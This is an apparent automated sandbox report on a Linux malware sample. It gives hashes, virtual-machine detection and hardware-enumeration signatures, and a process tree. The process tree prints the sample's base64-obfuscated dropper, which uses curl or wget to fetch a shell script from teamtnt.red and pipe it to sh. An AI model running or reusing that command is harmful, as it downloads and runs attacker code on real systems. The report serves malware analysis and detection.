Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
22-12-2024 00:24
Behavioral task
behavioral1
Sample
fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c
Resource
ubuntu2404-amd64-20240523-en
General
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Target
fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c
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Size
5.3MB
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MD5
e3850f7fa3eae086967759c893cbc50c
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SHA1
932d4668d6cc83b82878f50690ea09ac9e599932
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SHA256
fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c
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SHA512
86317f162894e5d29086464550b69ce14a6684e0037d789a8e14ceff86d6ff8a9ab2a722b725a13c1c375dceddc480ac9af46644ec5e428360e4ade877461473
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SSDEEP
98304:Bdf5TA6jvPzJ7FcwquNlcBsG8gmVp4sMxBIRdkYAqYw67b3kAOXNhR4TjzopoyNo:dA4D4c1P7OBx
Malware Config
Signatures
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Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/product_name fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/board_vendor fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/bios_vendor fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_serial fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/board_serial fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/bios_version fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/product_uuid fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/chassis_type fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/product_version fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/board_name fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/board_version fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/bios_date fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/chassis_version fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id/chassis_serial fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c -
Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 2829 base64 -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c -
Reads CPU attributes 1 TTPs 3 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/types fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/system/cpu/possible fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/system/cpu/online fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c -
Enumerates kernel/hardware configuration 1 TTPs 60 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/firmware/dmi/tables/smbios_entry_point fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/dax/devices fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/access0/initiators fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/fs/cgroup/cpuset.mems.effective fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/dax/devices/target_node fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/virtual/dmi/id fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/dax/target_node fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/fs/cgroup/cpuset.cpus.effective fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/devices/system/node/online fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/access1/initiators fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/firmware/dmi/tables/DMI fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/fs/cgroup/cgroup.controllers fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/cpumap fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/kernel/mm/hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-1048576kB/nr_hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/meminfo fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c -
description ioc Process File opened for reading /proc/mounts fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /proc/self/cpuset fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /proc/meminfo fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /proc/driver/nvidia/gpus fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c File opened for reading /proc/sys/crypto/fips_enabled curl -
cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 4 curl/8.5.0
Processes
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/tmp/fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c/tmp/fdac214635e7de8f09f942c53dede7849fe15552099f794827cbac73c112003c1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2825 -
/bin/shsh -c "echo aWYgdHlwZSBjdXJsIDI+L2Rldi9udWxsIDE+L2Rldi9udWxsOyB0aGVuIGN1cmwgLXMgaHR0cDovL3RlYW10bnQucmVkL3JlcHduLnNoIHwgc2ggMj4vZGV2L251bGwgMT4vZGV2L251bGwKZWxpZiB0eXBlIHdnZXQgMj4vZGV2L251bGwgMT4vZGV2L251bGw7IHRoZW4gd2dldCAtcSAtTyAtIGh0dHA6Ly90ZWFtdG50LnJlZC9yZXB3bi5zaCB8IHNoIDI+L2Rldi9udWxsIDE+L2Rldi9udWxsCmZpCg== | base64 -d | sh"2⤵PID:2827
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/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:2829
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/usr/bin/shsh3⤵PID:2830
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/usr/bin/curlcurl -s http://teamtnt.red/repwn.sh4⤵
- Reads runtime system information
PID:2831
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/usr/bin/shsh4⤵PID:2832
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